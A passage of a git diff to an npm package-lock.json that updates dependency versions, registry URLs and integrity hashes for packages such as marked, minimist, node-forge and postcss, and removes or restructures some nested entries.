"resolved": "https://registry.npmjs.org/marked/-/marked-4.0.10.tgz", - "integrity": "sha512-+QvuFj0nGgO970fySghXGmuw+Fd0gD2x3+MqCWLIPf5oxdv1Ka6b2q+z9RP01P/IaKPMEramy+7cNy/Lw8c3hw==" + "version": "4.0.14", + "resolved": "https://registry.npmjs.org/marked/-/marked-4.0.14.tgz", + "integrity": "sha512-HL5sSPE/LP6U9qKgngIIPTthuxC0jrfxpYMZ3LdGDD3vTnLs59m2Z7r6+LNDR3ToqEQdkKd6YaaEfJhodJmijQ==" }, "mathml-tag-names": { "version": "2.1.3", @@ -7628,24 +22883,14 @@ "dev": true }, "memfs": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.3.0.tgz", - "integrity": "sha512-BEE62uMfKOavX3iG7GYX43QJ+hAeeWnwIAuJ/R6q96jaMtiLzhsxHJC8B1L7fK7Pt/vXDRwb3SG/yBpNGDPqzg==", + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.4.1.tgz", + "integrity": "sha512-1c9VPVvW5P7I85c35zAdEr1TD5+F11IToIHIlrVIcflfnzPkJa0ZoYEoEdYDP8KgPFoSZ/opDrUsAoZWym3mtw==", "dev": true, "requires": { "fs-monkey": "1.0.3" } }, - "memory-fs": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", - "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", - "dev": true, - "requires": { - "errno": "^0.1.3", - "readable-stream": "^2.0.1" - } - }, "meow": { "version": "9.0.0", "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz", @@ -7683,8 +22928,7 @@ "merge-stream": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", - "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", - "dev": true + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==" }, "merge2": { "version": "1.4.1", @@ -7709,34 +22953,32 @@ } }, "micromatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", - "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", "dev": true, "requires": { - "braces": "^3.0.1", - "picomatch": "^2.2.3" + "braces": "^3.0.2", + "picomatch": "^2.3.1" } }, "mime": { - "version": "2.4.5", - "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.5.tgz", - "integrity": "sha512-3hQhEUF027BuxZjQA3s7rIv/7VCQPa27hN9u9g87sEkWaKwQPuXOkVKtOeiyUrnWqTDiOs8Ed2rwg733mB0R5w==", + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", "dev": true }, "mime-db": { - "version": "1.50.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.50.0.tgz", - "integrity": "sha512-9tMZCDlYHqeERXEHO9f/hKfNXhre5dK2eE/krIvUjZbS2KPcqGDfNShIWS1uW9XOTKQKqK6qbeOci18rbfW77A==", - "dev": true + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==" }, "mime-types": { - "version": "2.1.33", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.33.tgz", - "integrity": "sha512-plLElXp7pRDd0bNZHw+nMd52vRYjLwQjygaNg7ddJ2uJtTlmnTCjWuPKxVu6//AdaRuME84SvLW91sIkBqGT0g==", - "dev": true, + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", "requires": { - "mime-db": "1.50.0" + "mime-db": "1.52.0" } }, "mimic-fn": { @@ -7775,18 +23017,18 @@ "dev": true }, "minimatch": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", "dev": true, "requires": { "brace-expansion": "^1.1.7" } }, "minimist": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", - "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz", + "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==" }, "minimist-options": { "version": "4.1.0", @@ -7797,24 +23039,13 @@ "arrify": "^1.0.1", "is-plain-obj": "^1.1.0", "kind-of": "^6.0.3" - }, - "dependencies": { - "is-plain-obj": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", - "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=", - "dev": true - } } }, "mkdirp": { - "version": "0.5.5", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", - "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", - "dev": true, - "requires": { - "minimist": "^1.2.5" - } + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true }, "ms": { "version": "2.1.2", @@ -7823,9 +23054,9 @@ "dev": true }, "mui-datatables": { - "version": "3.7.8", - "resolved": "https://registry.npmjs.org/mui-datatables/-/mui-datatables-3.7.8.tgz", - "integrity": "sha512-kk09SI5fvb95jjSqpDJbR9/C2cZSFGX1MeFT4IC2TVNpYwBFHhXzlcDaHGkkGlMCnMimPsHU+eWL7OPPCxfrRQ==", + "version": "3.8.5", + "resolved": "https://registry.npmjs.org/mui-datatables/-/mui-datatables-3.8.5.tgz", + "integrity": "sha512-VS54Xkm5eXsPOUvzG3vXVjgSd2/nswwvhMK2D4PiHpV5MRJwfc6mdyuskh3s3jUi3NC8N+u7NsxX4pY14qaoKQ==", "requires": { "@babel/runtime-corejs3": "^7.12.1", "clsx": "^1.1.1", @@ -7879,16 +23110,15 @@ "dev": true }, "negotiator": { - "version": "0.6.2", - "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz", - "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==", + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", "dev": true }, "neo-async": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.1.tgz", - "integrity": "sha512-iyam8fBuCUpWeKPGpaNMetEocMt364qkCsfL9JuhjXX6dRnguRVOfk2GZaDpPjcOKiiXCPINZC1GczQ7iTq3Zw==", - "dev": true + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" }, "nice-try": { "version": "1.0.5", @@ -7915,16 +23145,15 @@ } }, "node-forge": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz", - "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.3.1.tgz", + "integrity": "sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==", "dev": true }, "node-releases": { - "version": "1.1.77", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.77.tgz", - "integrity": "sha512-rB1DUFUNAN4Gn9keO2K1efO35IDK7yKHCdCaIMvFO7yUYmmZYeDjnGKle26G4rwj+LKRQpjyUUvMkPglwGCYNQ==", - "dev": true + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.2.tgz", + "integrity": "sha512-XxYDdcQ6eKqp/YjI+tb2C5WM2LgjnZrfYg4vgQt49EK268b6gYCHsBLrK2qvJo4FmCtqmKezb0WZFK4fkrZNsg==" }, "noms": { "version": "0.0.0", @@ -7934,32 +23163,6 @@ "requires": { "inherits": "^2.0.1", "readable-stream": "~1.0.31" - }, - "dependencies": { - "isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", - "dev": true - }, - "readable-stream": { - "version": "1.0.34", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", - "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" - } - }, - "string_decoder": { - "version": "0.10.31", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", - "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", - "dev": true - } } }, "normalize-package-data": { @@ -8014,76 +23217,76 @@ "integrity": "sha512-120p116CE8VMMZ+hk8IAb1inCPk4Dj3VZw29/n2g6UI77urJKVYb7FZUDW8hY+EBnfsjI/2yrobBgFyzo7YpVQ==", "dev": true, "requires": { - "@isaacs/string-locale-compare": "^1.1.0", - "@npmcli/arborist": "^2.9.0", - "@npmcli/ci-detect": "^1.2.0", - "@npmcli/config": "^2.3.0", - "@npmcli/map-workspaces": "^1.0.4", - "@npmcli/package-json": "^1.0.1", - "@npmcli/run-script": "^1.8.6", - "abbrev": "~1.1.1", - "ansicolors": "~0.3.2", - "ansistyles": "~0.1.3", - "archy": "~1.0.0", - "cacache": "^15.3.0", - "chalk": "^4.1.2", - "chownr": "^2.0.0", - "cli-columns": "^3.1.2", - "cli-table3": "^0.6.0", - "columnify": "~1.5.4", - "fastest-levenshtein": "^1.0.12", - "glob": "^7.2.0", - "graceful-fs": "^4.2.8", - "hosted-git-info": "^4.0.2", - "ini": "^2.0.0", - "init-package-json": "^2.0.5", - "is-cidr": "^4.0.2", - "json-parse-even-better-errors": "^2.3.1", - "libnpmaccess": "^4.0.2", - "libnpmdiff": "^2.0.4", - "libnpmexec": "^2.0.1", - "libnpmfund": "^1.1.0", - "libnpmhook": "^6.0.2", - "libnpmorg": "^2.0.2", - "libnpmpack": "^2.0.1", - "libnpmpublish": "^4.0.1", - "libnpmsearch": "^3.1.1", - "libnpmteam": "^2.0.3", - "libnpmversion": "^1.2.1", - "make-fetch-happen": "^9.1.0", - "minipass": "^3.1.3", - "minipass-pipeline": "^1.2.4", - "mkdirp": "^1.0.4", - "mkdirp-infer-owner": "^2.0.0", - "ms": "^2.1.2", - "node-gyp": "^7.1.2", - "nopt": "^5.0.0", - "npm-audit-report": "^2.1.5", - "npm-install-checks": "^4.0.0", - "npm-package-arg": "^8.1.5", - "npm-pick-manifest": "^6.1.1", - "npm-profile": "^5.0.3", - "npm-registry-fetch": "^11.0.0", - "npm-user-validate": "^1.0.1", - "npmlog": "^5.0.1", - "opener": "^1.5.2", - "pacote": "^11.3.5", - "parse-conflict-json": "^1.1.1", - "qrcode-terminal": "^0.12.0", - "read": "~1.0.7", - "read-package-json": "^4.1.1", - "read-package-json-fast": "^2.0.3", - "readdir-scoped-modules": "^1.1.0", - "rimraf": "^3.0.2", - "semver": "^7.3.5", - "ssri": "^8.0.1", - "tar": "^6.1.11", - "text-table": "~0.2.0", - "tiny-relative-date": "^1.3.0", - "treeverse": "^1.0.4", - "validate-npm-package-name": "~3.0.0", - "which": "^2.0.2", - "write-file-atomic": "^3.0.3" + "@isaacs/string-locale-compare": "*", + "@npmcli/arborist": "*", + "@npmcli/ci-detect": "*", + "@npmcli/config": "*", + "@npmcli/map-workspaces": "*", + "@npmcli/package-json": "*", + "@npmcli/run-script": "*", + "abbrev": "*", + "ansicolors": "*", + "ansistyles": "*", + "archy": "*", + "cacache": "*", + "chalk": "*", + "chownr": "*", + "cli-columns": "*", + "cli-table3": "*", + "columnify": "*", + "fastest-levenshtein": "*", + "glob": "*", + "graceful-fs": "*", + "hosted-git-info": "*", + "ini": "*", + "init-package-json": "*", + "is-cidr": "*", + "json-parse-even-better-errors": "*", + "libnpmaccess": "*", + "libnpmdiff": "*", + "libnpmexec": "*", + "libnpmfund": "*", + "libnpmhook": "*", + "libnpmorg": "*", + "libnpmpack": "*", + "libnpmpublish": "*", + "libnpmsearch": "*", + "libnpmteam": "*", + "libnpmversion": "*", + "make-fetch-happen": "*", + "minipass": "*", + "minipass-pipeline": "*", + "mkdirp": "*", + "mkdirp-infer-owner": "*", + "ms": "*", + "node-gyp": "*", + "nopt": "*", + "npm-audit-report": "*", + "npm-install-checks": "*", + "npm-package-arg": "*", + "npm-pick-manifest": "*", + "npm-profile": "*", + "npm-registry-fetch": "*", + "npm-user-validate": "*", + "npmlog": "*", + "opener": "*", + "pacote": "*", + "parse-conflict-json": "*", + "qrcode-terminal": "*", + "read": "*", + "read-package-json": "*", + "read-package-json-fast": "*", + "readdir-scoped-modules": "*", + "rimraf": "*", + "semver": "*", + "ssri": "*", + "tar": "*", + "text-table": "*", + "tiny-relative-date": "*", + "treeverse": "*", + "validate-npm-package-name": "*", + "which": "*", + "write-file-atomic": "*" }, "dependencies": { "@gar/promisify": { @@ -8297,6 +23500,17 @@ "indent-string": "^4.0.0" } }, + "ajv": { + "version": "6.12.6", + "bundled": true, + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, "ansi-regex": { "version": "2.1.1", "bundled": true, @@ -8712,11 +23926,13 @@ }, "fast-deep-equal": { "version": "3.1.3", - "bundled": true + "bundled": true, + "dev": true }, "fast-json-stable-stringify": { "version": "2.1.0", - "bundled": true + "bundled": true, + "dev": true }, "fastest-levenshtein": { "version": "1.0.12", @@ -9003,7 +24219,8 @@ }, "json-schema-traverse": { "version": "0.4.1", - "bundled": true + "bundled": true, + "dev": true }, "json-stringify-nice": { "version": "1.1.4", @@ -9635,7 +24852,8 @@ }, "punycode": { "version": "2.1.1", - "bundled": true + "bundled": true, + "dev": true }, "qrcode-terminal": { "version": "0.12.0", @@ -9866,6 +25084,14 @@ "minipass": "^3.1.1" } }, + "string_decoder": { + "version": "1.3.0", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "~5.2.0" + } + }, "string-width": { "version": "2.1.1", "bundled": true, @@ -9890,14 +25116,6 @@ } } }, - "string_decoder": { - "version": "1.3.0", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - }, "stringify-package": { "version": "1.0.1", "bundled": true, @@ -9987,6 +25205,7 @@ "uri-js": { "version": "4.4.1", "bundled": true, + "dev": true, "requires": { "punycode": "^2.1.0" } @@ -10124,15 +25343,15 @@ "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" }, "object-hash": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.0.3.tgz", - "integrity": "sha512-JPKn0GMu+Fa3zt3Bmr66JhokJU5BaNBIh4ZeTlaCBzrBsOeXzwcKKAK1tbLiPKgvwmPXsDvvLHoWh5Bm7ofIYg==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.2.0.tgz", + "integrity": "sha512-gScRMn0bS5fH+IuwyIFgnh9zBdo4DV+6GhygmWM9HyNJSgS0hScp1f5vjtm7oIIOiT9trXrShAkLFSc2IqKNgw==", "dev": true }, "object-inspect": { - "version": "1.11.0", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.11.0.tgz", - "integrity": "sha512-jp7ikS6Sd3GxQfZJPyH3cjcbJF6GZPClgdV+EFygjFLQ5FmW/dRUnTd9PQ9k0JhoNDabWFbpF1yCdSWCC6gexg==", + "version": "1.12.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.0.tgz", + "integrity": "sha512-Ho2z80bVIvJloH+YzRmpZVQe87+qASmBUKZDWgx9cu+KDrX2ZDH/3tMy+gXbZETVGs2M8YdxObOh7XAtim9Y0g==", "dev": true }, "object-is": { @@ -10237,18 +25456,18 @@ } }, "onetime": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.0.tgz", - "integrity": "sha512-5NcSkPHhwTVFIQN+TUqXoS5+dlElHXdpAWu9I0HP20YOtIi+aZ0Ct82jdlILDxjLEAWwvm+qj1m6aEtsDVmm6Q==", + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", "dev": true, "requires": { "mimic-fn": "^2.1.0" } }, "open": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/open/-/open-8.3.0.tgz", - "integrity": "sha512-7INcPWb1UcOwSQxAXTnBJ+FxVV4MPs/X++FWWBtgY69/J5lc+tCteMt/oFK1MnkyHC4VILLa9ntmwKTwDR4Q9w==", + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/open/-/open-8.4.0.tgz", + "integrity": "sha512-XgFPPM+B28FtCCgSb9I+s9szOC1vZRSwgWsRUA5ylIxRTgKozqjOCrVOqGsYABPYK5qnfqClxZTFBa8PKt2v6Q==", "dev": true, "requires": { "define-lazy-prop": "^2.0.0", @@ -10276,21 +25495,6 @@ "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", "dev": true }, - "p-event": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/p-event/-/p-event-4.2.0.tgz", - "integrity": "sha512-KXatOjCRXXkSePPb1Nbi0p0m+gQAwdlbhi4wQKJPI1HsMQS9g+Sqp2o+QHziPr7eYJyOZet836KoHEVM1mwOrQ==", - "dev": true, - "requires": { - "p-timeout": "^3.1.0" - } - }, - "p-finally": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", - "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", - "dev": true - }, "p-limit": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", @@ -10328,15 +25532,6 @@ "retry": "^0.13.1" } }, - "p-timeout": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-3.2.0.tgz", - "integrity": "sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==", - "dev": true, - "requires": { - "p-finally": "^1.0.0" - } - }, "p-try": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", @@ -10457,13 +25652,6 @@ "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==", "requires": { "isarray": "0.0.1" - }, - "dependencies": { - "isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" - } } }, "path-type": { @@ -10477,15 +25665,14 @@ "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" }, "picocolors": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", - "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==", - "dev": true + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" }, "picomatch": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.0.tgz", - "integrity": "sha512-lY1Q/PiJGC2zOv/z391WOTD+Z02bCgsFfvxoXXf6h7kv9o+WmsmzYqrAwY63sNgOxE4xEdq0WyUnXfKeBrSvYw==", + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", "dev": true }, "pify": { @@ -10509,9 +25696,10 @@ "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==" }, "popper.js": { - "version": "1.16.1-lts", - "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1-lts.tgz", - "integrity": "sha512-Kjw8nKRl1m+VrSFCoVGPph93W/qrSO7ZkqPpTf7F4bk/sqcfWK019dWBUpE/fBOsOQY1dks/Bmcbfn1heM/IsA==" + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1.tgz", + "integrity": "sha512-Wb4p1J4zyFTbM+u6WuO4XstYx4Ky9Cewe4DWrel7B0w6VVICvPwdOpotjzcf6eD8TsckVnIMNONQyPIUFOUbCQ==", + "peer": true }, "portfinder": { "version": "1.0.28", @@ -10532,34 +25720,39 @@ "requires": { "ms": "^2.1.1" } + }, + "mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "requires": { + "minimist": "^1.2.6" + } } } }, "postcss": { - "version": "7.0.36", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.36.tgz", - "integrity": "sha512-BebJSIUMwJHRH0HAQoxN4u1CN86glsrwsW0q7T+/m44eXOUAxSNdHRkNZPYz5vVUbg17hFgOQDE7fZk7li3pZw==", + "version": "7.0.39", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz", + "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==", "dev": true, "requires": { - "chalk": "^2.4.2", - "source-map": "^0.6.1", - "supports-color": "^6.1.0" + "picocolors": "^0.2.1", + "source-map": "^0.6.1" }, "dependencies": { + "picocolors": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==", + "dev": true + }, "source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", "dev": true - }, - "supports-color": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz", - "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } } } }, @@ -10570,6 +25763,103 @@ "dev": true, "requires": { "htmlparser2": "^3.10.0" + }, + "dependencies": { + "dom-serializer": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz", + "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==", + "dev": true, + "requires": { + "domelementtype": "^2.0.1", + "entities": "^2.0.0" + }, + "dependencies": { + "domelementtype": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", + "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", + "dev": true + }, + "entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "dev": true + } + } + }, + "domelementtype": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz", + "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==", + "dev": true + }, + "domhandler": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-2.4.2.tgz", + "integrity": "sha512-JiK04h0Ht5u/80fdLMCEmV4zkNh2BcoMFBmZ/91WtYZ8qVXSKjiw7fXMgFPnHcSZgOo3XdinHvmnDUeMf5R4wA==", + "dev": true, + "requires": { + "domelementtype": "1" + } + }, + "domutils": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz", + "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==", + "dev": true, + "requires": { + "dom-serializer": "0", + "domelementtype": "1" + } + }, + "entities": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/entities/-/entities-1.1.2.tgz", + "integrity": "sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w==", + "dev": true + }, + "htmlparser2": { + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-3.10.1.tgz", + "integrity": "sha512-IgieNijUMbkDovyoKObU1DUhm1iwNYE/fuifEoEHfd1oZKZDaONBSkal7Y01shxsM49R4XaMdGez3WnF9UfiCQ==", + "dev": true, + "requires": { + "domelementtype": "^1.3.1", + "domhandler": "^2.3.0", + "domutils": "^1.5.1", + "entities": "^1.1.1", + "inherits": "^2.0.1", + "readable-stream": "^3.1.1" + } + }, + "readable-stream": { + "version": "3.6.0", + 